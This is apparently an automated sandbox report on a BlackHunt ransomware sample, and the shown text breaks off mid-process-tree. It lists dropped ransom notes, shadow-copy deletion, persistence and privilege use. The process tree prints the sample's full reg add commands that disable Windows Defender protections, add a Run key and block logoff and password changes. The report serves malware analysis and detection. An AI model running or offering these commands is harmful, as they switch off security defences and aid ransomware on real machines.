File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\LanguageNames2\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Curacao	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\da.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ne.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Miquelon	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsScenesBackground.wmv	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-modules-autoupdate-services.xml	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Eirunepe	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.http.jetty_3.0.200.v20131021-1843.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.publisher.eclipse_1.1.200.v20140414-0825.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_ja.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Hovd	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Nauru	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\tzmappings	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Rectangles\1047x576_91n92.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.net.nl_zh_4.4.0.v20140623020002.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-oql_ja.jar	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Caracas	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Samarkand	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Port_Moresby	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\about.html	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\VideoLAN\VLC\locale\wa\#BlackHunt_Private.key	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Monaco	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\DVD Maker\Shared\#BlackHunt_ReadMe.txt	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\whitevignette1047.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\images\cursors\win32_CopyNoDrop32x32.gif	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Reykjavik	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\config\#BlackHunt_ReadMe.hta	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\NavigationLeft_ButtonGraphic.png	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Karachi	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\.lock	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\com.jrockit.mc.console.ui.notification_contexts.xml	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files\StopEnable.contact	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Legal\ENU\license.html	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2136	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
1512	vssadmin.exe
2676	vssadmin.exe
2840	vssadmin.exe
2276	vssadmin.exe
3584	vssadmin.exe
1832	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1804	taskkill.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	conhost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2424	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1724	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeRestorePrivilege	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeBackupPrivilege	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeTakeOwnershipPrivilege	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeAuditPrivilege	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeSecurityPrivilege	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeIncBasePriorityPrivilege	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Token: SeBackupPrivilege	3720	vssvc.exe
Token: SeRestorePrivilege	3720	vssvc.exe
Token: SeAuditPrivilege	3720	vssvc.exe
Token: SeBackupPrivilege	1732	wbengine.exe
Token: SeRestorePrivilege	1732	wbengine.exe
Token: SeSecurityPrivilege	1732	wbengine.exe
Token: SeSecurityPrivilege	3964	wevtutil.exe
Token: SeBackupPrivilege	3964	wevtutil.exe
Token: SeSecurityPrivilege	3240	wevtutil.exe
Token: SeSecurityPrivilege	1308	wevtutil.exe
Token: SeSecurityPrivilege	668	wevtutil.exe
Token: SeBackupPrivilege	3240	wevtutil.exe
Token: SeBackupPrivilege	1308	wevtutil.exe
Token: SeBackupPrivilege	668	wevtutil.exe
Token: SeSecurityPrivilege	2772	wevtutil.exe
Token: SeBackupPrivilege	2772	wevtutil.exe
Token: SeDebugPrivilege	1804	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2224 wrote to memory of 1768	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	31
PID 2224 wrote to memory of 1768	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	31
PID 2224 wrote to memory of 1768	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	31
PID 2224 wrote to memory of 1768	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	31
PID 2224 wrote to memory of 2544	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	29
PID 2224 wrote to memory of 2544	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	29
PID 2224 wrote to memory of 2544	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	29
PID 2224 wrote to memory of 2544	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	29
PID 2224 wrote to memory of 2728	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	33
PID 2224 wrote to memory of 2728	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	33
PID 2224 wrote to memory of 2728	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	33
PID 2224 wrote to memory of 2728	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	33
PID 1768 wrote to memory of 2556	1768	cmd.exe	35
PID 1768 wrote to memory of 2556	1768	cmd.exe	35
PID 1768 wrote to memory of 2556	1768	cmd.exe	35
PID 2224 wrote to memory of 2572	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	36
PID 2224 wrote to memory of 2572	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	36
PID 2224 wrote to memory of 2572	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	36
PID 2224 wrote to memory of 2572	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	36
PID 2544 wrote to memory of 2612	2544	cmd.exe	38
PID 2544 wrote to memory of 2612	2544	cmd.exe	38
PID 2544 wrote to memory of 2612	2544	cmd.exe	38
PID 2224 wrote to memory of 2652	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	39
PID 2224 wrote to memory of 2652	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	39
PID 2224 wrote to memory of 2652	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	39
PID 2224 wrote to memory of 2652	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	39
PID 2224 wrote to memory of 2688	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	40
PID 2224 wrote to memory of 2688	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	40
PID 2224 wrote to memory of 2688	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	40
PID 2224 wrote to memory of 2688	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	40
PID 2224 wrote to memory of 2568	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	43
PID 2224 wrote to memory of 2568	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	43
PID 2224 wrote to memory of 2568	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	43
PID 2224 wrote to memory of 2568	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	43
PID 2224 wrote to memory of 2588	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	44
PID 2224 wrote to memory of 2588	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	44
PID 2224 wrote to memory of 2588	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	44
PID 2224 wrote to memory of 2588	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	44
PID 2728 wrote to memory of 2720	2728	cmd.exe	46
PID 2728 wrote to memory of 2720	2728	cmd.exe	46
PID 2728 wrote to memory of 2720	2728	cmd.exe	46
PID 2224 wrote to memory of 2596	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	47
PID 2224 wrote to memory of 2596	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	47
PID 2224 wrote to memory of 2596	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	47
PID 2224 wrote to memory of 2596	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	47
PID 2224 wrote to memory of 2680	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	48
PID 2224 wrote to memory of 2680	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	48
PID 2224 wrote to memory of 2680	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	48
PID 2224 wrote to memory of 2680	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	48
PID 2224 wrote to memory of 2836	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	50
PID 2224 wrote to memory of 2836	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	50
PID 2224 wrote to memory of 2836	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	50
PID 2224 wrote to memory of 2836	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	50
PID 2572 wrote to memory of 2580	2572	cmd.exe	132
PID 2572 wrote to memory of 2580	2572	cmd.exe	132
PID 2572 wrote to memory of 2580	2572	cmd.exe	132
PID 2224 wrote to memory of 2792	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	53
PID 2224 wrote to memory of 2792	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	53
PID 2224 wrote to memory of 2792	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	53
PID 2224 wrote to memory of 2792	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	53
PID 2224 wrote to memory of 2600	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	55
PID 2224 wrote to memory of 2600	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	55
PID 2224 wrote to memory of 2600	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	55
PID 2224 wrote to memory of 2600	2224	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe	55

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe
"C:\Users\Admin\AppData\Local\Temp\9c83407f76af3f841b99a6fa8cf7cb87ba998628f4bdb72cab0155fa2599145a.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2224
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2612
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1768
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2580
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2652
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2688
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2568
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2792
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2508
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2476
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:604
- C:\Windows\System32\cmd.exe
